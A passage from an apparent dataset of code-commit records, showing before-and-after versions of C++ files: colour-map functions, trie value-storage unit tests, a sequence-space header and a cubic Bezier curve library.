0.375)\n        return (int)floor(linearSlope(x, 0.8471, 0)*255);\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 0.8889, -0.0157)*255);\n    else\n        return (int)floor(linearSlope(x, 1.396, -0.396)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::boneG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.375)\n        return (int)floor(linearSlope(x, 0.8471, 0)*255);\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 1.2237, -0.1413)*255);\n    else\n        return (int)floor(linearSlope(x, 0.894, 0.106)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::boneB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.375)\n        return (int)floor(linearSlope(x, 1.1712, 0.0039)*255);\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 0.8889, 0.1098)*255);\n    else\n        return (int)floor(linearSlope(x, 0.8941, 0.1059)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\/\/ RedBlue\nint ColorMap::rbR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0)\n        return (int)floor(linearSlope(x, 1, 1)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::rbG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0)\n        return (int)floor(linearSlope(x, 1, 1)*255);\n    else\n        return (int)floor(linearSlope(x, -1, 1)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::rbB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0)\n        return (int)floor(1.0*255);\n    else\n        return (int)floor(linearSlope(x, -1, 1)*255);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\r\n#include <variant>\r\n\r\n#include <op\/utest\/unit_test.h>\r\n#include <op\/utest\/unit_test_is.h>\r\n\r\n#include <op\/vtm\/EventSourcingSegmentManager.h>\r\n#include <op\/vtm\/StringMemoryManager.h>\r\n\r\n#include <op\/trie\/PlainValueManager.h>\r\n#include <op\/trie\/Trie.h>\r\n\n#include \"TrieTestUtils.h\"\r\n\r\nusing namespace OP::trie;\r\nusing namespace OP::utest;\r\nstatic const char* test_file_name = \"trie.test\";\r\n\r\nnamespace OP::trie::store_converter\r\n{\r\n    template <class ... Tx>\r\n    inline std::ostream& operator << (std::ostream& os, const PersistedVariant<Tx...>& val)\r\n    {\r\n        os << \"{ persisted-variant }\";\r\n        return os;\r\n    }\r\n\r\n    template <class ...Tx>\n    inline bool operator == (const PersistedVariant<Tx...>& left, const PersistedVariant<Tx...>& right) \r\n    {\r\n        if (left._selector == right._selector)\r\n            return memcmp(left._data, right._data, buffer_size_c) == 0;\r\n        return false;\r\n    }\r\n\/\/---------------------\r\n    using namespace OP::vtm;\r\n\r\n\/\/---------------------\n}\/\/ns\r\n\r\ntemplate <class T, class TTopology>\r\nauto oft(TTopology&topology, T&& t)\r\n{\r\n    using store_converter_t = OP::trie::store_converter::Storage<std::decay_t<T>>;\r\n    typename store_converter_t::storage_type_t result;\r\n    store_converter_t::serialize(topology, t, result);\r\n    return result;\r\n}\r\n\r\ntemplate <class T, class V, class TTopology>\r\nauto tfo(TTopology& topology, const V & stor)\r\n{\r\n    return OP::trie::store_converter::Storage<T>::deserialize(topology, stor);\r\n}\r\n\r\nnamespace\r\n{\r\n    struct TestStruct\r\n    {\r\n        TestStruct(double a,\r\n            float x1 = 1, float x2 = 2, float x3 = 3,\r\n            float x4 = 4, float x5 = 5, float x6 = 6,\r\n            float x7 = 7, float x8 = 8, float x9 = 9,\r\n            float x10 = 10, float x11 = 11)\r\n            : v1(a), vector1{ x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11 }\r\n        {}\r\n        double v1;\r\n        float vector1[11];\r\n    };\r\n\r\n    inline std::ostream& operator << (std::ostream& os, const TestStruct& val)\r\n    {\r\n        os << \"{\" << val.v1 << \"...}\";\r\n        return os;\r\n    }\r\n    inline bool operator == (const TestStruct& left, const TestStruct& right)\r\n    {\r\n        return left.v1 == right.v1;\r\n    }\r\n    \r\n    template <class  ... Tx>\r\n    inline std::ostream& operator << (std::ostream& os, const std::variant<Tx...>& val)\r\n    {\r\n        os << \"{var(\" << val.index()<<\")\";\r\n        size_t n = 0;\r\n        std::visit([&](const auto& v) {\r\n                using arg_t = std::decay_t<decltype(v)>;\r\n\r\n                if constexpr (OP::has_operators::ostream_out_v<arg_t>)\r\n                {\r\n                    os << v;\r\n                }\r\n                else\r\n                {\r\n                    os << \"[unprintable:\" << typeid(arg_t).name() << \"]\";\r\n                }\r\n            }, val);\r\n        os << \"}\";\r\n        return os;\r\n    }\r\n\r\n    void testDefault(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using test_payload_t = TestStruct;\r\n\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_payload_t>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, test_payload_t> test_values;\r\n\r\n        using p_t = std::pair<atom_string_t, test_payload_t>;\r\n\r\n        const p_t ini_data[] = {\r\n            p_t(\"ab.c\"_astr, {1.}),\r\n            p_t(\"abc\"_astr, {11.}),\r\n            p_t(\"abc.1\"_astr, {13.}),\r\n            p_t(\"abc.2\"_astr, {15.}),\r\n            p_t(\"abc.3\"_astr, {17.}),\r\n            p_t(\"abc.333\"_astr, {19.}), \/\/not a child since only 'abc.3' in the result\r\n            p_t(\"abc.444\"_astr, {21.}), \/\/ a child\r\n            p_t(\"abcdef\"_astr, {113.}),\r\n        };\r\n\r\n        for (const p_t& s : ini_data)\r\n        {\r\n            trie->insert(s.first, s.second);\r\n            test_values.emplace(s);\r\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n\r\n    }\r\n    \r\n\r\n    void testVariant(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using test_variant_t = std::variant<\r\n            std::monostate,\r\n            short, double, TestStruct,\r\n            std::string\r\n        >;\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_variant_t>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, test_variant_t> test_values;\r\n\r\n        using p_t = std::pair<atom_string_t, test_variant_t>;\r\n\r\n        const p_t ini_data[] = {\r\n            p_t(\"ab.c\"_astr, test_variant_t{1.}),\r\n            p_t(\"abc\"_astr, test_variant_t(TestStruct{11.})),\r\n            p_t(\"xyz.1\"_astr, test_variant_t{short(13)}),\r\n            p_t(\"abc.1\"_astr, test_variant_t{std::string(\"xyz\")}),\r\n            p_t(\"empty\"_astr, test_variant_t{})\r\n        };\r\n\r\n        for (const p_t& s : ini_data)\r\n        {\r\n            trie->insert(s.first, s.second);\r\n            test_values.emplace(s);\r\n        }\r\n\r\n        auto debug_prn = [&]() {\r\n            for (const auto& p : trie->range())\r\n            {\r\n                tresult.debug() << (const char*)p.key().c_str() << \"=\" << p.value() << \"\\n\";\r\n            }\r\n        };\r\n        debug_prn();\r\n        compare_containers(tresult, *trie, test_values);\r\n        \/\/test update with change type\r\n        auto ab_range = trie->prefixed_range(\"ab\"_astr);\r\n        OP::vtm::TransactionGuard op_g(\n            trie->segment_manager().begin_transaction(), true);\n        for (auto& iter : ab_range)\n        {\n            test_variant_t empt{};\n            trie->update(iter, empt);\n            test_values[iter.key()] = empt;\n        }\n        op_g.commit();\r\n        compare_containers(tresult, *trie, test_values);\r\n        debug_prn();\r\n\n        OP::vtm::TransactionGuard op_g2(\n            trie->segment_manager().begin_transaction(), true);\n        for (auto& iter : ab_range)\n        {\n            std::string rstr;\n            test_variant_t new_var{tools::RandomGenerator ::instance().next_alpha_num(rstr, 32)};\n            trie->update(iter, new_var);\n            test_values[iter.key()] = new_var;\n        }\n        op_g2.commit();\r\n        compare_containers(tresult, *trie, test_values);\r\n        debug_prn();\r\n    }\r\n\r\n    template <class ...Tx>\r\n    std::ostream& operator << (std::ostream& os, const std::tuple<Tx...>& t)\r\n    {\r\n        std::apply([&](const auto& ... args) {\r\n            size_t n = 0;\r\n            os << \"{\";\r\n            ((os << (n++ == 0 ? \"\" : \", \") << args ), ...);\r\n            os << \"}\";\r\n            }, t);\r\n        return os;\r\n    }\r\n\r\n    void testTuple(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using var_t = std::variant<std::monostate, short, double, TestStruct>;\r\n        using test_tuple_t = \r\n            std::tuple<std::uint64_t, var_t, std::string>;\r\n\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_tuple_t>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, test_tuple_t> test_values;\r\n        auto make_key = [](int x) {\r\n            std::ostringstream os;\r\n            os << std::hex << std::setw(8) << std::setfill('0')\r\n                << x;\r\n            return os.str();\r\n        };\r\n        for (int i = -11; i < 11; ++i) \r\n        {\r\n            auto str = make_key(i);\r\n            auto val = test_tuple_t(i, var_t(57.75 \/ i), str);\r\n            auto [iter, ok] = trie->insert(str, val);\r\n            tresult.assert_true(ok);\r\n            test_values.emplace(iter.key(), std::move(val));\r\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n        for (int i = -5; i < 5; ++i)\r\n        {\r\n            auto str = make_key(i);\r\n            auto pos = trie->find(str);\r\n            auto v = *pos;\r\n            std::get<var_t>(v) = (double)i;\r\n            trie->update(pos, v);\r\n            test_values[pos.key()] = std::move(v);\r\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n    }\r\n\r\n    void testStr(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<std::string>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, std::string> test_values;\r\n        constexpr size_t N = 1025;\r\n        for (auto i = 0; i < N; ++i)\r\n        {\r\n            std::string rstr;\n            tools::RandomGenerator::instance().next_alpha_num(rstr, 0xFF, 1);\n            trie->insert(rstr, rstr);\n            test_values.emplace(atom_string_t(reinterpret_cast<const atom_t*>(rstr.c_str())), rstr);\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n\r\n    }\r\n\r\n    void testErase(OP::utest::TestRuntime& tresult)\r\n    {\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using test_variant_t = std::variant<\r\n            std::monostate,\r\n            short, double, TestStruct,\r\n            std::string\r\n        >;\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_variant_t>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        constexpr size_t N = 1025;\r\n        for (auto i = 0; i < N; ++i)\r\n        {\r\n            std::string rstr;\n            test_variant_t new_var{ tools::RandomGenerator::instance().next_alpha_num(rstr, 0xFF) };\n            trie->insert(rstr, new_var);\n            \/\/if (!rstr.empty() && rstr[0] == '4')\n            \/\/    tresult.debug() << rstr << \"\\n\";\n        }\r\n        \/\/tresult.debug() << \"4='\" << *trie->find(\"4\"_astr) << \"'\\n\";\r\n        for (std::uint16_t a = 0; a < 256; ++a)\r\n        {\r\n            atom_string_t k(1, (atom_t)a);\r\n            trie->prefixed_key_erase_all(k);\r\n        }\r\n        tresult.assert_that<equals>(1, trie->nodes_count());\r\n    }\r\n\r\n    static auto& module_suite = OP::utest::default_test_suite(\"trie-values\")\r\n        .declare(\"default\", testDefault)\r\n        .declare(\"variant\", testVariant)\r\n        .declare(\"tuple\", testTuple)\r\n        .declare(\"str\", testStr)\r\n        .declare(\"erase\", testErase)\r\n        ;\r\n}<commit_msg>Introduce generic approach to serialize values<commit_after>#include <algorithm>\r\n#include <variant>\r\n\r\n#include <op\/utest\/unit_test.h>\r\n#include <op\/utest\/unit_test_is.h>\r\n\r\n#include <op\/vtm\/EventSourcingSegmentManager.h>\r\n#include <op\/vtm\/StringMemoryManager.h>\r\n\r\n#include <op\/trie\/PlainValueManager.h>\r\n#include <op\/trie\/Trie.h>\r\n\n#include \"TrieTestUtils.h\"\r\n\r\nusing namespace OP::trie;\r\nusing namespace OP::utest;\r\nstatic const char* test_file_name = \"trie.test\";\r\n\r\nnamespace OP::trie::store_converter\r\n{\r\n    template <class ... Tx>\r\n    inline std::ostream& operator << (std::ostream& os, const PersistedVariant<Tx...>& val)\r\n    {\r\n        os << \"{ persisted-variant }\";\r\n        return os;\r\n    }\r\n\r\n    template <class ...Tx>\n    inline bool operator == (const PersistedVariant<Tx...>& left, const PersistedVariant<Tx...>& right) \r\n    {\r\n        if (left._selector == right._selector)\r\n            return memcmp(left._data, right._data, buffer_size_c) == 0;\r\n        return false;\r\n    }\r\n\/\/---------------------\r\n    using namespace OP::vtm;\r\n\r\n\/\/---------------------\n}\/\/ns\r\n\r\ntemplate <class T, class TTopology>\r\nauto oft(TTopology&topology, T&& t)\r\n{\r\n    using store_converter_t = OP::trie::store_converter::Storage<std::decay_t<T>>;\r\n    typename store_converter_t::storage_type_t result;\r\n    store_converter_t::serialize(topology, t, result);\r\n    return result;\r\n}\r\n\r\ntemplate <class T, class V, class TTopology>\r\nauto tfo(TTopology& topology, const V & stor)\r\n{\r\n    return OP::trie::store_converter::Storage<T>::deserialize(topology, stor);\r\n}\r\n\r\nnamespace\r\n{\r\n    struct TestStruct\r\n    {\r\n        TestStruct(double a,\r\n            float x1 = 1, float x2 = 2, float x3 = 3,\r\n            float x4 = 4, float x5 = 5, float x6 = 6,\r\n            float x7 = 7, float x8 = 8, float x9 = 9,\r\n            float x10 = 10, float x11 = 11)\r\n            : v1(a), vector1{ x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11 }\r\n        {}\r\n        double v1;\r\n        float vector1[11];\r\n    };\r\n\r\n    inline std::ostream& operator << (std::ostream& os, const TestStruct& val)\r\n    {\r\n        os << \"{\" << val.v1 << \"...}\";\r\n        return os;\r\n    }\r\n    inline bool operator == (const TestStruct& left, const TestStruct& right)\r\n    {\r\n        return left.v1 == right.v1;\r\n    }\r\n    \r\n    template <class  ... Tx>\r\n    inline std::ostream& operator << (std::ostream& os, const std::variant<Tx...>& val)\r\n    {\r\n        os << \"{var(\" << val.index()<<\")\";\r\n        size_t n = 0;\r\n        std::visit([&](const auto& v) {\r\n                using arg_t = std::decay_t<decltype(v)>;\r\n\r\n                if constexpr (OP::has_operators::ostream_out_v<arg_t>)\r\n                {\r\n                    os << v;\r\n                }\r\n                else\r\n                {\r\n                    os << \"[unprintable:\" << typeid(arg_t).name() << \"]\";\r\n                }\r\n            }, val);\r\n        os << \"}\";\r\n        return os;\r\n    }\r\n\r\n    void testDefault(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using test_payload_t = TestStruct;\r\n\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_payload_t>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, test_payload_t> test_values;\r\n\r\n        using p_t = std::pair<atom_string_t, test_payload_t>;\r\n\r\n        const p_t ini_data[] = {\r\n            p_t(\"ab.c\"_astr, {1.}),\r\n            p_t(\"abc\"_astr, {11.}),\r\n            p_t(\"abc.1\"_astr, {13.}),\r\n            p_t(\"abc.2\"_astr, {15.}),\r\n            p_t(\"abc.3\"_astr, {17.}),\r\n            p_t(\"abc.333\"_astr, {19.}), \/\/not a child since only 'abc.3' in the result\r\n            p_t(\"abc.444\"_astr, {21.}), \/\/ a child\r\n            p_t(\"abcdef\"_astr, {113.}),\r\n        };\r\n\r\n        for (const p_t& s : ini_data)\r\n        {\r\n            trie->insert(s.first, s.second);\r\n            test_values.emplace(s);\r\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n\r\n    }\r\n    \r\n\r\n    void testVariant(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using test_variant_t = std::variant<\r\n            std::monostate,\r\n            short, double, TestStruct,\r\n            std::string\r\n        >;\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_variant_t>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, test_variant_t> test_values;\r\n\r\n        using p_t = std::pair<atom_string_t, test_variant_t>;\r\n\r\n        const p_t ini_data[] = {\r\n            p_t(\"ab.c\"_astr, test_variant_t{1.}),\r\n            p_t(\"abc\"_astr, test_variant_t(TestStruct{11.})),\r\n            p_t(\"xyz.1\"_astr, test_variant_t{short(13)}),\r\n            p_t(\"abc.1\"_astr, test_variant_t{std::string(\"xyz\")}),\r\n            p_t(\"empty\"_astr, test_variant_t{})\r\n        };\r\n\r\n        for (const p_t& s : ini_data)\r\n        {\r\n            trie->insert(s.first, s.second);\r\n            test_values.emplace(s);\r\n        }\r\n\r\n        auto debug_prn = [&]() {\r\n            for (const auto& p : trie->range())\r\n            {\r\n                tresult.debug() << (const char*)p.key().c_str() << \"=\" << p.value() << \"\\n\";\r\n            }\r\n        };\r\n        debug_prn();\r\n        compare_containers(tresult, *trie, test_values);\r\n        \/\/test update with change type\r\n        auto ab_range = trie->prefixed_range(\"ab\"_astr);\r\n        OP::vtm::TransactionGuard op_g(\n            trie->segment_manager().begin_transaction(), true);\n        for (auto& iter : ab_range)\n        {\n            test_variant_t empt{};\n            trie->update(iter, empt);\n            test_values[iter.key()] = empt;\n        }\n        op_g.commit();\r\n        compare_containers(tresult, *trie, test_values);\r\n        debug_prn();\r\n\n        OP::vtm::TransactionGuard op_g2(\n            trie->segment_manager().begin_transaction(), true);\n        for (auto& iter : ab_range)\n        {\n            std::string rstr;\n            test_variant_t new_var{tools::RandomGenerator ::instance().next_alpha_num(rstr, 32)};\n            trie->update(iter, new_var);\n            test_values[iter.key()] = new_var;\n        }\n        op_g2.commit();\r\n        compare_containers(tresult, *trie, test_values);\r\n        debug_prn();\r\n    }\r\n\r\n    template <class ...Tx>\r\n    std::ostream& operator << (std::ostream& os, const std::tuple<Tx...>& t)\r\n    {\r\n        std::apply([&](const auto& ... args) {\r\n            size_t n = 0;\r\n            os << \"{\";\r\n            ((os << (n++ == 0 ? \"\" : \", \") << args ), ...);\r\n            os << \"}\";\r\n            }, t);\r\n        return os;\r\n    }\r\n\r\n    void testTuple(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using var_t = std::variant<std::monostate, short, double, TestStruct>;\r\n        using test_tuple_t = \r\n            std::tuple<std::uint64_t, var_t, std::string>;\r\n\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_tuple_t>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, test_tuple_t> test_values;\r\n        auto make_key = [](int x) {\r\n            std::ostringstream os;\r\n            os << std::hex << std::setw(8) << std::setfill('0')\r\n                << x;\r\n            return os.str();\r\n        };\r\n        for (int i = -11; i < 11; ++i) \r\n        {\r\n            auto str = make_key(i);\r\n            auto val = test_tuple_t(i, var_t(57.75 \/ i), str);\r\n            auto [iter, ok] = trie->insert(str, val);\r\n            tresult.assert_true(ok);\r\n            test_values.emplace(iter.key(), std::move(val));\r\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n        for (int i = -5; i < 5; ++i)\r\n        {\r\n            auto str = make_key(i);\r\n            auto pos = trie->find(str);\r\n            auto v = *pos;\r\n            std::get<var_t>(v) = (double)i;\r\n            trie->update(pos, v);\r\n            test_values[pos.key()] = std::move(v);\r\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n    }\r\n\r\n    void testStr(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<std::string>\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, std::string> test_values;\r\n        constexpr size_t N = 1025;\r\n        for (auto i = 0; i < N; ++i)\r\n        {\r\n            std::string rstr;\n            tools::RandomGenerator::instance().next_alpha_num(rstr, 0xFF, 1);\n            trie->insert(rstr, rstr);\n            test_values.emplace(atom_string_t(reinterpret_cast<const atom_t*>(rstr.c_str())), rstr);\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n\r\n    }\r\n\r\n    void testStrCompact(OP::utest::TestRuntime& tresult)\r\n    {\r\n        using namespace OP::flur;\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(\"trie2.test\",\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<std::string, 16>, 1ull << 9\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        std::map<atom_string_t, std::string> test_values;\r\n        constexpr size_t N = 1025;\r\n        for (auto i = 0; i < N; ++i)\r\n        {\r\n            std::string rstr;\n            tools::RandomGenerator::instance().next_alpha_num(rstr, 0xFF, 1);\n            trie->insert(rstr, rstr);\n            test_values.emplace(atom_string_t(reinterpret_cast<const atom_t*>(rstr.c_str())), rstr);\n        }\r\n        compare_containers(tresult, *trie, test_values);\r\n\r\n    }\r\n\r\n    void testErase(OP::utest::TestRuntime& tresult)\r\n    {\r\n        auto tmngr = OP::trie::SegmentManager::create_new<EventSourcingSegmentManager>(test_file_name,\r\n            OP::trie::SegmentOptions()\r\n            .segment_size(0x110000));\r\n\r\n        using test_variant_t = std::variant<\r\n            std::monostate,\r\n            short, double, TestStruct,\r\n            std::string\r\n        >;\r\n        using trie_t = Trie<\r\n            EventSourcingSegmentManager, PlainValueManager<test_variant_t, 16>,\r\n            1ull << 10\r\n        >;\r\n        std::shared_ptr<trie_t> trie = trie_t::create_new(tmngr);\r\n\r\n        constexpr size_t N = 1025;\r\n        for (auto i = 0; i < N; ++i)\r\n        {\r\n            std::string rstr;\n            test_variant_t new_var{ tools::RandomGenerator::instance().next_alpha_num(rstr, 0xFF) };\n            trie->insert(rstr, new_var);\n            \/\/if (!rstr.empty() && rstr[0] == '4')\n            \/\/    tresult.debug() << rstr << \"\\n\";\n        }\r\n        \/\/tresult.debug() << \"4='\" << *trie->find(\"4\"_astr) << \"'\\n\";\r\n        for (std::uint16_t a = 0; a < 256; ++a)\r\n        {\r\n            atom_string_t k(1, (atom_t)a);\r\n            trie->prefixed_key_erase_all(k);\r\n        }\r\n        tresult.assert_that<equals>(1, trie->nodes_count());\r\n    }\r\n\r\n    static auto& module_suite = OP::utest::default_test_suite(\"trie-values\")\r\n        .declare(\"default\", testDefault)\r\n        .declare(\"variant\", testVariant)\r\n        .declare(\"tuple\", testTuple)\r\n        .declare(\"str\", testStr)\r\n        .declare(\"str-compact\", testStrCompact)\r\n        .declare(\"erase\", testErase)\r\n        ;\r\n}<|endoftext|>"}
{"text":"<commit_before>#ifndef SEQUENCE_SPACE_HPP_\n#define SEQUENCE_SPACE_HPP_\n\n#include <vector>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/dynamic_bitset.hpp>\n\n#include \"allele_space.hpp\"\n\nclass SequenceSpace {\npublic:\n    typedef boost::dynamic_bitset< unsigned long >  sequence_type; \n    typedef std::shared_ptr< sequence_type >        sequence_ptr;\n\n    SequenceSpace( boost::property_tree::ptree & config );\n\n    sequence_ptr create();\n\n    sequence_ptr clone( sequence_ptr s );\n\n    size_t size();\n    void prune();\n\n    virtual ~SequenceSpace();\nprotected:\n    AlleleSpace m_alleles;\n\n    std::vector< sequence_ptr > m_seq_map;\n};\n\n#endif  \/\/ SEQUENCE_SPACE_HPP_\n<commit_msg>Formatting<commit_after>#ifndef SEQUENCE_SPACE_HPP_\n#define SEQUENCE_SPACE_HPP_\n\n#include <vector>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/dynamic_bitset.hpp>\n\n#include \"allele_space.hpp\"\n\nclass SequenceSpace {\npublic:\n    typedef boost::dynamic_bitset< unsigned long >  sequence_type;\n    typedef std::shared_ptr< sequence_type >        sequence_ptr;\n\n    SequenceSpace( boost::property_tree::ptree & config );\n\n    sequence_ptr create();\n\n    sequence_ptr clone( sequence_ptr s );\n\n    size_t size();\n    void prune();\n\n    virtual ~SequenceSpace();\nprotected:\n    AlleleSpace m_alleles;\n\n    std::vector< sequence_ptr > m_seq_map;\n};\n\n#endif  \/\/ SEQUENCE_SPACE_HPP_\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2020 Manfred Moitzi\n\/\/ License: MIT License\n\/\/ Fast cubic bezier curve library for ezdxf\n\/\/ All required checks are done in the Cython code!\n\n#include \"_cpp_cubic_bezier.hpp\"\n\n\nCppCubicBezier::CppCubicBezier():\n    p0(CppVec3()), p1(CppVec3()), p2(CppVec3()), p3(CppVec3()) {\n}\n\nCppCubicBezier::CppCubicBezier(CppVec3 v0, CppVec3 v1, CppVec3 v2, CppVec3 v3):\n    p0(v0), p1(v1), p2(v2), p3(v3) {\n}\n\nvoid CppCubicBezier::bernstein_poly_d0(double t, double *weights) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double t2 = t * t;\n    double _1_minus_t = 1.0 - t;\n    double _1_minus_t_square = _1_minus_t * _1_minus_t;\n    weights[0] = _1_minus_t_square * _1_minus_t;\n    weights[1] = 3.0 * _1_minus_t_square * t;\n    weights[2] = 3.0 * _1_minus_t * t2;\n    weights[3] = t2 * t;\n}\n\nvoid CppCubicBezier::bernstein_poly_d1(double t, double *weights) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double t2 = t * t;\n    weights[0] = -3.0 * (1.0 - t) * (1.0 - t);\n    weights[1] = 3.0 * (1.0 - 4.0 * t + 3.0 * t2);\n    weights[2] = 3.0 * t * (2.0 - 3.0 * t);\n    weights[3] = 3.0 * t2;\n}\n\n\nCppVec3 CppCubicBezier::point(double t) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double weights[4];\n    bernstein_poly_d0(t, weights);\n    CppVec3 res = p0 * weights[0] + p1 * weights[1] + p2 * weights[2] + p3 * weights[3];\n    return res;\n}\n\nCppVec3 CppCubicBezier::tangent(double t) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double weights[4];\n    bernstein_poly_d1(t, weights);\n    CppVec3 res = p0 * weights[0] + p1 * weights[1] + p2 * weights[2] + p3 * weights[3];\n    return res;\n}\n<commit_msg>remove temp var<commit_after>\/\/ Copyright (c) 2020 Manfred Moitzi\n\/\/ License: MIT License\n\/\/ Fast cubic bezier curve library for ezdxf\n\/\/ All required checks are done in the Cython code!\n\n#include \"_cpp_cubic_bezier.hpp\"\n\n\nCppCubicBezier::CppCubicBezier():\n    p0(CppVec3()), p1(CppVec3()), p2(CppVec3()), p3(CppVec3()) {\n}\n\nCppCubicBezier::CppCubicBezier(CppVec3 v0, CppVec3 v1, CppVec3 v2, CppVec3 v3):\n    p0(v0), p1(v1), p2(v2), p3(v3) {\n}\n\nvoid CppCubicBezier::bernstein_poly_d0(double t, double *weights) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double t2 = t * t;\n    double _1_minus_t = 1.0 - t;\n    double _1_minus_t_square = _1_minus_t * _1_minus_t;\n    weights[0] = _1_minus_t_square * _1_minus_t;\n    weights[1] = 3.0 * _1_minus_t_square * t;\n    weights[2] = 3.0 * _1_minus_t * t2;\n    weights[3] = t2 * t;\n}\n\nvoid CppCubicBezier::bernstein_poly_d1(double t, double *weights) {\n    \/\/ Required domain check for t has to be done by the caller!\n    \/\/ 0 <= t <= 1\n    double t2 = t * t;\n    weights[0] = -3.0 * (1.0 - t) * (1.0 - t);\n    weights[1] = 3.0 